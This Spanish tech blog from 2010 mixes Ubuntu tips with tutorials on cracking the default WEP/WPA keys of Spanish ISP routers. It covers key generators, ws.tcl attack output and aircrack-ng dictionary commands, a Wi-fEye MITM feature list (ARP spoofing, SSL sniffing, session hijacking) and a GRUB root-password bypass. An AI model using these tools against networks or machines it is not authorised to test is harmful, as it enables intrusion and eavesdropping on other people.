lunes, 20 de diciembre de 2010

GuifiDecrypter

En esta ocasion os voy a hablar de este programa que me parece de lo mas completo y sencillo para obtener las claves de los routers WLAN_XX, JAZZTEL_XX y los Speedtouch. El programa nos Automatiza el proceso si queremos o manualmente, incluso nos da la posibilidad de pasarle un diccionario que tengamos alojado en nuestro equipo en el caso de ser wpa.

Tenemos dos opciones para tenerlo en nuestro equipo, descargandolo a traves de la pagina web del proyecto o traves de subversion svn checkout http://guifidecrypter.googlecode.com/svn/trunk/ guifidecrypter-read-only el cual lo podemos instalar poniendo en una terminal:

sudo apt-get install subversion


El uso es lo mas intuitivo, asi que os dejo unas capturas:



lunes, 13 de diciembre de 2010

Bruteforge C [ Actualizado ]

En primer lugar, gracias a masterzorag por avisarme de que habia actualizado su aplicacion. El uso es casi el mismo que el de la otra version pero tiene mas opciones.

Podremos descargarlo desde este ENLACE o desde el blog del AUTOR


P.D: por falta de tiempo no puedo ahora mismo hacer el tutorial sobre esto pero en unos dias lo tendre hecho con un video explicativo. Tened un poco de paciencia xDD

wlan4xx 0.2.0 [ Actualizado ]

Se ha actualizado este programa para generar las posibles claves de los router WLANXXX de ya.com incluso las posibles WPA. Sigue estando disponible solo para windows pero podemos emularlo con Wine sin ningun problema.

Os dejo unas capturas


y podeis ir AQUI para descargarlo.

ono4xx 0.0.2a

Es un decrypter para redes ONOxxxx hecho por www.seguridadwireless.net desarroyado por Mambostar - NirozMe|on. Genera las posibles claves para routers de ono.

Esta disponible para Windows y Linux.

Aqui os dejo unas capturas:

Captura 1:


Captura 2:

Y aqui os dejo las direcciones de los post para que podais descargarlos:

LINUX

WINDOWS

sábado, 20 de noviembre de 2010

Remastersys - LiveCD de nuestro sistema

Esta utilidad nos permitira hacer una copia de seguridad de nuestro sistema operativo pero pudiendo hacerlo un liveCD para su posterior uso sin necesidad de instalarlo.

La mejor forma de instalarlo es añadiendo el repositorio en /etc/apt/sources.list usando por ejemplo GeDit:

deb http://www.linuxmint.com/repository romeo/

una vez hecho esto, procedemos a actualizar e instalar la aplicacion:

sudo apt-get update && sudo apt-get install remastersys

y ahora ya nos podemos meter en materia.

Los comandos para esta aplicacion son sencillos:

  - Si lo que queremos es hacer una copia exacta de nuestro sistema escribiremos:

  sudo remastersys backup

  el programa guardara nuestra iso en la carpeta personal /remastersys/cumstomdist.iso y podemos cambiarle el nombre añadiendo al final del comando el nombre de nuestra iso, como por ejemplo:

  sudo remastersys backup miubuntu.iso

  - si en cambio queremos hacer una copia del sistema sin que guarde datos como cuentas, contactos, historial, archivos, etc,... pondremos:

  sudo remastersys dist

  - y si queremos que lo que haga una copia con el sistema de ficheros tal y como lo tenemos solo tenemos que poner:

  sudo remastersys dist cdfs

 y como ultimo paso, debemos de limpiar cuando halla terminado su tarea los temporales que nos ha podido crear para no ocupar espacio en el disco tontamente:

  sudo remastersys clean

NOTA: puede que en algun momento del proceso nos pida el cd de la version de ubuntu que tengamos instalada

martes, 19 de octubre de 2010

Xplico - analizador de trafico de red

Bien, despues de darle muchas vueltas, he decidido hace un "mini" tutorial sobre este programa. Le he dado vueltas por la sencilla razon de que hay mucho "cotilla" de redes ajenas, asi que hacerme un favor... probad esto es vuestas redes y dejad a los demas en paz.

Este programa nos permite analizar las capturas hechas con programas como Tshark por ejemplo de una manera grafica por lo cual mucho mas comoda.

Como siempre tendremos que instalar las librerias necesarias para poder correr el programa:

sudo apt-get install tcpdump tshark apache2 php5 php5-sqlite build-essential perl zlib1g-dev libpcap-dev libsqlite3-dev php5-cli libapache2-mod-php5 libx11-dev libxt-dev libxaw7-dev python-all sqlite3 recode sox lame libnet1 libnet1-dev libmysqlclient15-dev

y la hora de instalarlo yo personalmente he tenido problemas con la version 9.10 de ubuntu no se porque, pero con maverick 10.10 la verdad es que ninguno. Os podeis descargar de AQUI la version en paquete .deb para instalarlo.

Acto seguido iniciamos apache y por supuesto Xplico

sudo  /etc/init.d/apache2 restart
sudo /etc/init.d/xplico start


si todo ha ido bien ( que espero que si ) introducimos en nuestro navegador la siguiente direccion para tener acceso grafico al programa:

http://127.0.1.1:9876

poniendo como nombre de usuario y contraseña xplico/xplico


una vez dentro de la interfaz podremos crear un caso (case) el cual puede ser creado de dos maneras, a traves de un archivo .pcap capturado por Tshark o en una sesion en vivo a traves de alguna de nuestras interfaces de red.


una vez creado nuestro proyecto podemos acceder a el pinchando sobre su nombre y nos saldra algo bastante parecido a esto:


desde el programa podremos tener acceso a todo lo capturado desde VoIP hasta e-mails por ejemplo, pasando por videos, direcciones de internet e imagenes.

Hasta aqui os dejo yo... el resto del camino lo debereis hacer vosotr@s sol@s. Pero os dejo unas capturas.



sábado, 16 de octubre de 2010

ws.tcl

ws.tcl es una aplicacion escrita para remplazar a wesside-ng porque este no tiene tasas de exito tan altas como del que vamos a hablar a continuacion.

necesitaresmo tener instalado TLC 8.3 + para poder hacer andar este script. Aqui un ejemplo de uso:

root@Blue:/home/gm# ./ws.tcl XXXXX ath0 11
Device MAC XX:XX:XX:XX:XX:XX
AP MAC XX:XX:XX:XX:XX:XX
Associated successfully.
Running fragmentation attack...
Running chopchop attack...
Listening for ARP packets...
Got keystream...
Injecting generated packet...
Packet capture started.
Replaying ARP packets.
Starting crack...
KEY FOUND! [ XX:XX:XX:XX:XX ] (ASCII: XXXXX )
Cleaning up...
Time taken: 97 seconds
root@Blue:/home/gm#



Los pasos que sigue el programa son estos:

1) Busca el AP y el BSSID, y tambien localiza las macs asociadas
2) Se asocia con el AP
3) Se ejecuta aireplay-ng -3 contra el AP
4) Se ejecuta aireplay-ng -4 contra el AP
5) Se ejecuta aireplay-ng -5 contra el AP

6) Si aireplay-ng -3 encuentra un paquete, omite el paso 6)

6) Cuando aireplay-ng -4 o -5 tiene exito, genera paquetes ARP y re-inyecta.
7) termina aireplay-ng -4
8) Elimina aireplay-ng -5
9) Elimina aireplay-ng
10) Se ejecuta aircrack-ng
11) Cuando la clave se encuentra, mata al resto de aireplay-ng
12) Muestra la clave
13) Limpia, y da el tiempo transcurrido


Y su uso seria asi:

./ws.tcl AP Interfaz_wifi Canal

R-WlanXDecrypter 0.9

Este es un generador de claves por defecto de una compañia llamada R de Galicia, conocidas como las R-wlanX y nombres similares.

Voy a hacer un copy paste del post del creador del programa que el lo explica mucho mejor de lo que lo puedo hacer yo.

Analisis

Lo primero es aclarar que ni el SSID ni la MAC dan detalles sobre la clave. El numero del SSID normalmente suele ser el canal (aunque no siempre) del AP. No siempre se cumple el formato exacto de "R-WlanX", a veces se mezclan mayusculas minusculas, a veces hay espacios, a veces guiones, a veces nada separando las palabras; e incluso a veces se ven palabras adicionales en el SSID.

La manera más universal de definir las contraseñas por defecto de R es que son números seguidos de ceros. ¿Cuantos números antes de los 0's? Normalmente 8, en alguna ocasión 6. Ahora independiente de esto tenemos cuatro posibilidades de tipos de contraseñas por defecto (descartando contraseñas mayores de 128 bits):

  • Contraseña WEP 128 bit ASCII (ej.: "2010945600000") : El tipo de contraseña más común
  • Contraseña WEP 128 bit Hexadecimal (ej.: 20:10:94:56:00:00:00:00:00:00:00:00:00): Raras, pero haberlas hailas
  • Contraseña WEP 64 bit ASCII: Nunca he visto una de este tipo
  • Contraseña WEP 64 bit Hexadecimal (ej: 20:10:94:56:00): Se ven bastantes

¿Significan algo los números? ese tema es bastante misterioso:

-Algunas claves empiezan por un año (ej.: "2008") seguidas de 4 numeros aleatorios; se cree que el año es el de fabricación de router, pero nos encontramos muchos años futuros (ej.: "2023"), asi que no parece ser ese el caso. Igualmente la mayoría de claves empiezan por 2, si queremos reducir el intervalo de busqueda podemos empezar buscando claves que empiecen por 2

-En otros casos, sobre todo cuando se tratan de 6 numeros seguidos de 0's (en vez de 8 ) se cree que puede ser el número de telefono sin el prefijo. Saber esto no nos ayuda mucho, pero en caso de estas claves tan solo son 6 números seguidos de 0's en vez de 8, lo que reduce muy sustencialmente nuestro intervalo de busqueda

Bueno, independientemente del origen de los numeros, nos encontramos con que solo varían como máximo 8 digitos, que siempre son numeros, por lo que  tenemos 10^8=100.000.000 de posibilidades para cada tipo de contraseñas, que no son tampoco muchas. En un ordenador portatil actual de gama media se comprobarían todas las claves en unas 2 horas o menos aproximadamente.

Con esto terminamos el análisis y procedo a explicar la aplicación.

R-WlanXDecrypter

El programa soporta actualmente plataformas Unix y Windows. Trae múltiples opciones adicionales que explicaré mas tarde, son una manera de crear diccionarios más personalizados pero no es necesario saber utilizar estas opciones para crear los diccionarios básicos.


Opciones básicas

  • -n : Crea el diccionario para claves de 64bits, 128bits, etc... Aunque tambien es compatible para claves más grandes como 512bits nunca me he encontrado una de R de ese tipo. Si no especificamos el parámetro el programa coge una clave por defecto de 128bits
  • -h : Se creará un diccionario en formato hexadecimal, no es un formato alternativo de guardar las claves, sino que es un diccionario diferente a uno creado sin esta opción -h. El parametro es el caracter (en decimal) separador de los bytes expresados en formato hexadecimal, si no se especifica por defecto es : , que es el símbolo más utilizado para esta función y el que utiliza aircrack-ng

Utilizando solo estas opciones podemos crear diccionarios universales para las contraseñas de R. Por defecto el programa crea claves de 8 digitos seguido de 0's (y asi incluimos tambien a las de 6 dígitos)

-Primero crearemos un diccionario ASCII para contraseñas de 128bits, ocupará 1,40GB:

Código:
R-WlanXDecrypter rwlan128.txt

-Ahora crearemos un diccionario Hexadecimal para contraseñas de 64 bits, ocupará 1,48GB:

Código:
R-WlanXDecrypter rwlan64hex.txt -h -n 64

-Con esos dos diccionarios deberían bastar para la mayoría de routers de R. Aún asi siempre podremos generar un diccionario Hexadecimal para contraseñas de 128bits, ocupará 3,72GB:

Código:
R-WlanXDecrypter rwlan128hex.txt -h

-Tambien podremos crear un diccionario para claves ASCII de 64bits, aunque nunca vi ninguna de este tipo en R el diccionario tan solo ocupa 683KB:

Código:
R-WlanXDecrypter rwlan64.txt -n 64

Se supone que en estos diccionarios están todas las claves que puede contener un router de R, pero tenga en cuenta que pueda que existan claves de mayor longitud que 128bits, aunque nunca he visto ninguna hasta la fecha.

Opciones avanzadas:

  • -c : Por defecto en las palabras del diccionario varian 8 digitos y despues se rellenan con 0's asta completar la longitud de la clave. Se puede utilizar esta opción si queremos especificar otro numero de digitos variables
  • -cm : Por defecto las claves se rellenan con 0's. Con este parámetro podremos especificar otro carácter de relleno (especificar el codigo decimal del carácter)
  • -min : Con esta opción podemos definir el comienzo del diccionario especificando el valor mínimo. Se especifica el valor minimo excluyendo el relleno (es decir, solo contando el número formado por los bytes variables)
  • -max : Con esta opción podemos definir el final del diccionario especificando el valor máximo. Se especifica el valor máximo excluyendo el relleno (es decir, solo contando el número formado por los bytes variables)
  • -r: Si especificamos esta opción las palabras del diccionario estarán separadas por el byte LF (char 10). Por defecto están separadas por 2 bytes: CR+LF (char 13)(char 10). La mayoría de programas reconocen ambos formatos. Con esta opción ahorramos 1 byte por cada palabra.
  • -m : Hace lo mismo que -n (por eso no es compatible con esa opción) pero con esta opción podemos definir manualmente el número de bytes de la clave. Cuando hablamos de contraseñas de pongamos 128bits, 24 de estos se utilizan para el IV, por lo que la clave es realmente de solo (128-24)/8=13 bytes.-n 64 es equivalente a -m 5, -n 128 a -m 13, etc...
  • -q: No mostrara el estado del proceso de creación del diccionario

Con las opciones por defecto los diccionarios generados son de un gran tamaño y con muchas palabras, y se puede tardar mucho tiempo en comprobarlas todas dependiendo del equipo. Con estas opciones avanzadas podemos definir diccionarios más personalizados. Varios ejemplos útiles:

-Como ya hemos dicho, en algunas ocasiones las claves son solo 6 numeros seguidos de 0's, en ese caso crearemos los diccionarios anteriores (excepto el de 64bits ASCII ya que no tiene sentido reducirlo) pero para 6 bytes variables en lugar de 8. Los diccionarios creados ocupan tan solo 67,7MB los 3 juntos. De esta manera podemos hacer una comprobación rapida con el aircrack-ng para claves con 6 numeros variables antes de utilizar los diccionarios grandes:

Código:
R-WlanXDecrypter rwlan128-c6.txt -c 6
Código:
R-WlanXDecrypter rwlan64hex-c6.txt -h -n 64 -c 6
Código:
R-WlanXDecrypter rwlan128hex-c6.txt -h -c 6

-Ya nombramos que muchas de las contraseñas por defecto de R suelen empezar por 2. Utilizando -min y -max podremos definir diccionarios de solo ese rango (empiecen por 2). Los 3 diccionarios que estamos creando (128bits ascii, 64bits hex y 128bits hex) ocuparían la decima parte cada uno:

Código:
R-WlanXDecrypter rwlan128-start2.txt -min 20000000 -max 29999999
Código:
R-WlanXDecrypter rwlan64hex-start2.txt -h -n 64 -min 20000000 -max 29999999
Código:
R-WlanXDecrypter rwlan128hex-start2.txt -h -min 20000000 -max 29999999

Descarga

Incluye versiones compiladas para linux y windows y el código fuente.

-Versión actual (0.9 ):

-Mirror 1: http://www.fileden.com/files/2006/9/18/225525/R-WlanXDecrypter0.9.zip
-Mirror 2: http://www.megaupload.com/?d=2FMY7HWR

-Versiones antiguas (0.8 ):

-Mirror 1: http://www.fileden.com/files/2006/9/18/225525/R-WlanXDecrypter0.8.rar
-Mirror 2: http://www.megaupload.com/?d=8BF9OA1S

Changelog

v0.8 [06/10/2010]
-----------------
+Primer lanzamiento publico

v0.9 [11/10/2010]
-----------------
+Mostrar tamaño archivo final y numero de claves
+Mostrar status del proceso
+Añadido quiet mode -q
+Corregido bug en las opciones -min y -max
+Pequeña optimización del bucle generador de claves
+Corrección de pequeños fallos generales

Anexo: Como usar diccionarios Hexadecimales en aircrack-ng

Para definir en aircrack-ng un diccionario hexadeximal hay que especificar h: antes de la ruta del diccionario y siempre debemos especificar la longitud de las claves WEP del diccionario que estamos usando:

Código:
aircrak-ng -n 128 -w h:"rwlan128hex.txt" captura.cap
Código:
aircrak-ng -n 64 -w h:"rwlan64hex.txt" captura.cap

Aun así, en la versión actual de aircrack-ng 1.1, existen varios bugs y dificultades que impiden el correcto funcionamiento de los diccionarios hexadecimales. He creado un post al respecto aqui que explica detalladamente como solucionar este problema.

La informacion aqui expuesta esta extraida de www.seguridadwireless.net

domingo, 10 de octubre de 2010

Ubuntu 10.10 ya esta listo

Pues ya tenemos la ultima version de Ubuntu en su version 10.10 disponible para descargar. Se han añadido muchas mejoras con respecto a la 10.04.1 asi que el que quiera probar la tiene en la pagina oficial.

http://www.ubuntu.com/desktop/get-ubuntu/download


sábado, 9 de octubre de 2010

Wi-feye


Dando una vueltecilla por internet por aquellos sitios que sigo asiduamente me tope con esta herramienta que por lo menos se "vende" bastante bien, no he tenido tiempo de probarla pero prometo poneros mi impresiones sobre el programa y si cumple las espectativas que se supone que cumple.

Wi-fEye se compone de cuatro menus principalmente:

- Habilitar el modo monitor.
- Ver las redes wifi disponibles.
- Iniciar Airodump-ng sobre un determinado AP.

1.- Crackeo wep: Esto permite la automatizacion de los siguientes procesos.

  ~ Packet replay interactivo
  ~ Autentificacion falsa
  ~ Ataque ChopChop
  ~ Ataque de fragmentacion
  ~ Hirte Attack ( ataque cfrag )
  ~ Uso de wesside-ng
  ~ En el uso sobre wpa admite las siguientes funciones; ataque con diccionario y obtencion del handshake

2.- Mapa: este menu nos permitira hacer:

  ~ Buscar en red y ver los host conectados
  ~ Usar nmap automaticamente

3.- MITM: este menu es el mas interesante:

  ~ Habilitar el reenvio ip
  ~ ARP spoof
  ~ Lanzar ethercap en modo de texto
  ~ Esnifar trafico SSL/HTTPS
  ~ Detectar URLs y poder proyectarlas sobre el navegador
  ~ Capturar trafico de mensajeria instantanea
  ~ Esnifar imagenes
  ~ Usar DNs falsas
  ~ Secuestro de sesion usando Hamster

4.- Otros: este menu permitira las siguientes funciones automaticamente:

  ~ Cambiar la direccion mac
  ~ Actualizaciones de Hijack ( con Evilgrade )

Despues de esta breve expliacion vamos a intentar meternos en materia. Lo primero que tendriamos que hacer es descargar el programa y crear una carpeta donde poder meterlo:

wget http://wi-feye.za1d.com/download/Wi-fEye-v0.5.2.tar.gz
mkdir Wi-fEye
tar xvfz Wi-fEye-v0.5.tar.gz -C Wi-fEye

antes de iniciar por primera vez Wi-fEye necesitamos cambiar unas variables para que nos sea totalmente funcional:

Primero tendremos que descargar dos complementos, uno es Hamster y el otro Evilgrade los cuales yo recomendaria dejar dentro de la carpeta de Wi-fEye.
Despues de esto tendremos que editar el arhivo Wi-fEye.py ( con gedit por ejemplo ) y buscar estas lineas:

#Path to hamster + Ferret
hamster='/pentest/hamster/'
#Path to evilgrade
evilgradep = '/opt/evilgrade'


y cambiar los directorios de los programa que si aceptais mi sugerencia habreis dejado dentro de la carpeta del programa y guardamos el archivo con los cambios.

y para ejecutarlo solo deberemos teclear en una terminal:

sudo python Wi-fEye.py

y a empezar a trastear... os dejo unos videos para que veais esta herramienta en accion.

Download:
FLVMP43GP

FLVMP43GP




Nota informativa: Segun lo que queramos llegar a conseguir con el programa necesitariamos herramientas como pueden ser Aircrack-ng , Nmap , Ettercap , Msgsnarf y las dos que hemos comentado anteriormente

Recuperar contraseña Root

Bien, el otro dia me preguntaban que si tenias un fallo a la hora de poner las contraseñas como seria posible que pudieras recuperar esas contraseñas y la respuesta es muy sencilla... No puedes (almenos que yo sepa), pero podemos hacer otra cosa para intentar recuperar la contraseña de Root por si no nos acordamos o tenemos las manos llenas de dedos y nos equivocamos a la hora de teclearla.

Bien, lo primero que tenemos que hacer es encender el ordendor porque apagado no podemos hacer nada... y cuando salga el prompt del grub presiona la tecla escape y pulsa la letra e para editar.


Mira en cada linea la que corresponde a tu kernel en caso de tener mas de uno instalado y presiona de nuevo e.

Nos movemos hasta el final y agregamos esta linea: rw init=/bin/bash

Presionamos enter y despues b para iniciar el sistema. El sistema iniciara como Root sin contraseña.

Para asignarle una contraseña a la cuenta, solo tenemos que escribir passwd Usuario

y seguidamente escribes las contraseña ( que esa si la recuerdes ) y reiniciamos y listo.

Aviso: Este metodo de recuperacion utiliza un fallo de seguridad para restablecer la contraseña de una cuenta, para impedir sorpresas de este tipo recomiendo que se le aplique una contraseña al grub por seguridad

miércoles, 29 de septiembre de 2010

Wifite

De los mismo creadores de Grimwepa, os traigo esta apliacion programada en python originariamente diseñada para Backtrack 4 que al estar basada en Ubuntu funciona de maravilla en los nuestros.

Para instalarlo primero tendremos que meter unas lineas en un terminal:

wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py

y tendremos que cambiar los permisos al archivo:

chmod +x wifite.py

para ejecutar:

python wifite.py

y para ver la lista de comandos escribid:

./wifite.py -help

aqui os dejo unas capturas de la pagina del autor:



Si quereis ampliar u obtener mas informacion teneis aqui la web del autor

lunes, 13 de septiembre de 2010

AWN

En este viaje vamos a cambiar el aspecto de Gnome totalmente con AWN. He de decir que el proceso es reversible y no debe de entrañar ningun tipo de riesgo para nuestros equipos.


Lo primero que tendremos que haces el instalar la ultima version:

sudo add-apt-repository ppa:awn-testing/ppa && sudo apt-get update

sudo apt-get install avant-window-navigator-trunk python-awn-extras-trunk awn-applets-c-extras-trunk dockmanager-daemon dockmanager


y podemos añadir el repositorio a nuestro ubuntu:

sudo add-apt-repository ppa:awn-testing


Abrimos el editor Gnome con alt + F2 e introducimos gconf-editor y seleccionamos desktop > gnome > session > required_components > Panel y cambiamos gnome-panel por avant-window-navigator y al reiniciar lo tendremos ya. ¿Que nos aburrimos y no lo queremos? , ¿que no estamos acostumbrados y nos confunde? pùes no pasa nada, solo tenemos que revertir el proceso y todo estara como antes.


podemos descargar themes desde http://gnome-look.org/ iniciando una busqueda con el nombre awn

informacion extraida de http://www.omgubuntu.co.uk

miércoles, 8 de septiembre de 2010

Xbmc en nuestro Ubuntu

Xbmc en un Media Center desarroyado para Windows, Mac y Linux que esta en constante desarroyo. Me han dicho que hay gente que tiene problemas a la hora de instalarlo por librerias y cosas asi ( lo tipico ) asi que os voy a guiar un poco en esta tarea.

Primero tendriamos que escribir esto en una terminal:

sudo apt-get install python-software-properties pkg-config
sudo add-apt-repository ppa:team-xbmc
sudo apt-get update
sudo apt-get install xbmc xbmc-standalone
sudo apt-get update


Para usar la aceleracion grafica con tarjetas Nvidia necesitariamos esto:

sudo apt-get install libvdpau1 nvidia-185-libvdpau

Nuestro siguiente paso seria añadir a nuestros repositorios el de Xbmc:

deb http://ppa.launchpad.net/team-xbmc/ppa/ubuntu jaunty main
deb-src http://ppa.launchpad.net/team-xbmc/ppa/ubuntu jaunty main


donde tendremos que cambiar jaunty por nuestra version de Ubuntu.

Ahora necesitamos añadir las claves del repositorio:

sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0x6d975c4791e7ee5e

Pagina official : http://xbmc.org/

Wlan4xx - Ruters Ya.com

Hace poco, salio esta aplicacion desarrollada por el equipo de Seguridadwireless.com que se encarga de descubrir la clave por defecto de los routers de ya.com con clave wep. Ahora mismo solo esta disponible para windows y cualquier distro linux siempre y cuando tengamos el Wine instalado.

El uso es muy sencillo, solo ejecutar, cambiar nombre del router y su respectiva mac y nos dira las posibles claves. Yo lo he probado en 12 routers y tengo que decir que no ha fallado ni una.



Se esta preparando la aplicacion para Linux y estara en breve pero mientras nos puede servir perfectamente emulandolo con wine.

Pagina de la noticia Seguridadwireless.com y enlace directo a la aplicacion Descarga .

AVISO: No descargueis esta aplicacion que no sea de Seguridadwireless.com y la direccion de su foro que os he dado, puede existir riesgo para vuestros equipos.

lunes, 30 de agosto de 2010

Añadir repositorios Ubuntu

Esta noche, he tenido problemas para dormir y estoy preparando un tutorial sobre una aplicacion que interesara mucho, pero tenia hoy ganas de escribir aqui en el blog y no se me ocurria nada, hasta que la inspiracion llego.

Los repositorios disponibles en nuestro sistema, se encuentran en /etc/apt/sources.list y el archivo es facilmente editable poniendo en una terminal sudo gedit /etc/apt/sources.list y nos encontraremos algo como esto:

# deb cdrom:[Ubuntu 9.10 _Karmic Koala_ - Release i386 (20091028.5)]/ karmic main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.

deb cdrom:[Ubuntu-Netbook-Remix 9.10 _Karmic Koala_ - Release i386 (20091028.4)]/ karmic main restricted
deb http://es.archive.ubuntu.com/ubuntu/ karmic main restricted
deb-src http://es.archive.ubuntu.com/ubuntu/ karmic main restricted

## Major bug fix updates produced after the final release of the
## distribution.
deb http://es.archive.ubuntu.com/ubuntu/ karmic-updates main restricted
deb-src http://es.archive.ubuntu.com/ubuntu/ karmic-updates main restricted

## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
deb http://es.archive.ubuntu.com/ubuntu/ karmic universe
deb-src http://es.archive.ubuntu.com/ubuntu/ karmic universe
deb http://es.archive.ubuntu.com/ubuntu/ karmic-updates universe
deb-src http://es.archive.ubuntu.com/ubuntu/ karmic-updates universe

## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb http://es.archive.ubuntu.com/ubuntu/ karmic multiverse
deb-src http://es.archive.ubuntu.com/ubuntu/ karmic multiverse
deb http://es.archive.ubuntu.com/ubuntu/ karmic-updates multiverse
deb-src http://es.archive.ubuntu.com/ubuntu/ karmic-updates multiverse

## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://es.archive.ubuntu.com/ubuntu/ karmic-backports main restricted universe multiverse
# deb-src http://es.archive.ubuntu.com/ubuntu/ karmic-backports main restricted universe multiverse

## Uncomment the following two lines to add software from Canonical's
## 'partner' repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
# deb http://archive.canonical.com/ubuntu karmic partner
# deb-src http://archive.canonical.com/ubuntu karmic partn
er

al final del todo podemos añadir manualmente los repositorios que queramos incluir, yo he hecho aqui una recopilacion de los que he encontrado por hay para que les echeis un vistazo y veais cuales son los que os interesan:


#Tormod Volden (xserver)

deb http://ppa.launchpad.net/tormodvolden/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/tormodvolden/ubuntu jaunty main

#Marcelo Boveto Shima (omnibook-source – HP)

deb http://ppa.launchpad.net/marceloshima/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/marceloshima/ubuntu jaunty main

#Freenx Team (freenx, nxagent)

deb http://ppa.launchpad.net/freenx-team/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/freenx-team/ubuntu jaunty main

#Bhavani Shankar (bzip, xSane)

deb http://ppa.launchpad.net/bhavi/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/bhavi/ubuntu jaunty main

#Scott James Remnant (python-webkitgtk)

deb http://ppa.launchpad.net/scott/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/scott/ubuntu jaunty main

#Matti Lindell (hamster, HAL…)

deb http://ppa.launchpad.net/mlind/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/mlind/ubuntu jaunty main

#TJ (KVM, AudaCity)

deb http://ppa.launchpad.net/intuitivenipple/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/intuitivenipple/ubuntu jaunty main

#Michael Kuhn (gitweb / git)

deb http://ppa.launchpad.net/suraia/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/suraia/ubuntu jaunty main

#gwibber-daily

deb http://ppa.launchpad.net/gwibber-daily/ppa/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/gwibber-daily/ppa/ubuntu jaunty main

#Patryk-Prezu

deb http://ppa.launchpad.net/patryk-prezu/ppa/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/patryk-prezu/ppa/ubuntu jaunty main

#Pete Deremer

deb http://ppa.launchpad.net/sportman1280/ppa/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/sportman1280/ppa/ubuntu jaunty main

#Wordpress

deb http://ppa.launchpad.net/wordpress/ppa/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/wordpress/ppa/ubuntu jaunty main

#Chromium (Google Chrome para Linux)

deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/chromium-daily/ppa/ubuntu jaunty main

#Mythbuntu

deb http://ppa.launchpad.net/mythbuntu/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/mythbuntu/ubuntu jaunty main

#Jerome Guelfucci (XFCE)

deb http://ppa.launchpad.net/jerome-guelfucci/ppa/ubuntu jaunty main
#deb-src deb http://ppa.launchpad.net/jerome-guelfucci/ppa/ubuntu jaunty main

#Kubuntu desktop (KDE)

deb deb http://ppa.launchpad.net/kubuntu-experimental/ubuntu jaunty main
#deb-src deb http://ppa.launchpad.net/kubuntu-experimental/ubuntu jaunty main

#Medibuntu (Adobe reader, google earth, etc)

deb http://packages.medibuntu.org/ jaunty free non-free
#deb-src deb http://packages.medibuntu.org/ jaunty free non-free

#Shutter

deb http://ppa.launchpad.net/shutter/ubuntu jaunty main
#deb-src http://ppa.launchpad.net/shutter/ubuntu jaunty main

#Software Publico del Laboratorio Nacional Argonne (US):

deb http://mirror.anl.gov/pub/ubuntu jaunty main
#deb-src http://mirror.anl.gov/pub/ubuntu jaunty main
deb http://mirror.anl.gov/pub/ubuntu jaunty-updates main
#deb-src http://mirror.anl.gov/pub/ubuntu jaunty-updates main
deb http://mirror.anl.gov/pub/ubuntu jaunty-security main
#deb-src http://mirror.anl.gov/pub/ubuntu jaunty-security main
deb http://mirror.anl.gov/pub/ubuntu jaunty-proposed main
#deb-src http://mirror.anl.gov/pub/ubuntu jaunty-proposed main
deb http://mirror.anl.gov/pub/ubuntu jaunty-backports main
#deb-src http://mirror.anl.gov/pub/ubuntu jaunty-backports main


#Gnome media player

deb http://ppa.launchpad.net/gnome-media-player-development/development/ubuntu karmic main
deb-src http://ppa.launchpad.net/gnome-media-player-development/development/ubuntu karmic main

importar las llaves de Gnome media player:

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 7362E5D

#Vlc 1.1.0 Final (desde terminal)

sudo add-apt-repository ppa:c-korn/vlc && sudo apt-get update
sudo apt-get install vlc mozilla-plugin-vlc

#Skype (tambien disponible en Medibuntu)

deb http://download.skype.com/linux/repos/debian/ stable non-free

importar llaves:

sudo apt-key adv --keyserver pgp.mit.edu --recv-keys 0xd66b746e

#xbmc (para Ubuntu 9.10 desde terminal)

sudo add-apt-repository ppa:team-xbmc-svn


Estos son solo unos pocos, pero buscando por internet podreis encontrar mas dependiendo de vuestras necesidades

miércoles, 25 de agosto de 2010

Pamusb-tools

Cuando iniciamos sesion en Ubuntu tenemos que poner nuestra contraseña igual que cuando queremos acceder a cualquier cosa como root, pero eso puede tener los dias contados con este programa. Solo tienes que tener tu pendrive conectado y te autentificara como superusuario y no tendras que volver a poner la contraseña en ningun sitio.

Lo primero que tenemos que hacer es instalar este paquete, lo mas facil sera hacerlo desde synaptic asi que introducimos en una terminal:

sudo apt-get install pamusb-tools

Este paquete esta compuesto por tres programas; pamusb-agent, panusm-conf y pamusb-check.

Pasmusb-agent .- Sirve para configurar acciones al conectar o desconectar tu pendrive, como por ejemplo bloquearlo al desconectarlo.
Pasmusb-conf .- Configura contraseñas y usuarios a usar con este programa.
Pamusb-check .- Este nos sirve para hacer una simulacion para comprobar que la configuracion en correcta.


Lo primero que vamos a hacer es configurar nuestro pendrive con este comando:

pamusb-conf --add-device=nombre_del_pendrive

ahora tendriamos que asociar nuestro pendrive a nuestro nombre de usuario:

pamusb-conf --add-user=nuestro_usuario



Lo suyo seria configurar el usuario como root para no tener que escribir la contraseña cuando necesitemos privilegios de superusuario. Ahora tendriamos que preparar el sistema para que reconciera el pendrive como sistema de autentificacion modificando el arhivo /etc/pam.d/common-auth .

sudo gedit /etc/pam.d/common-auth

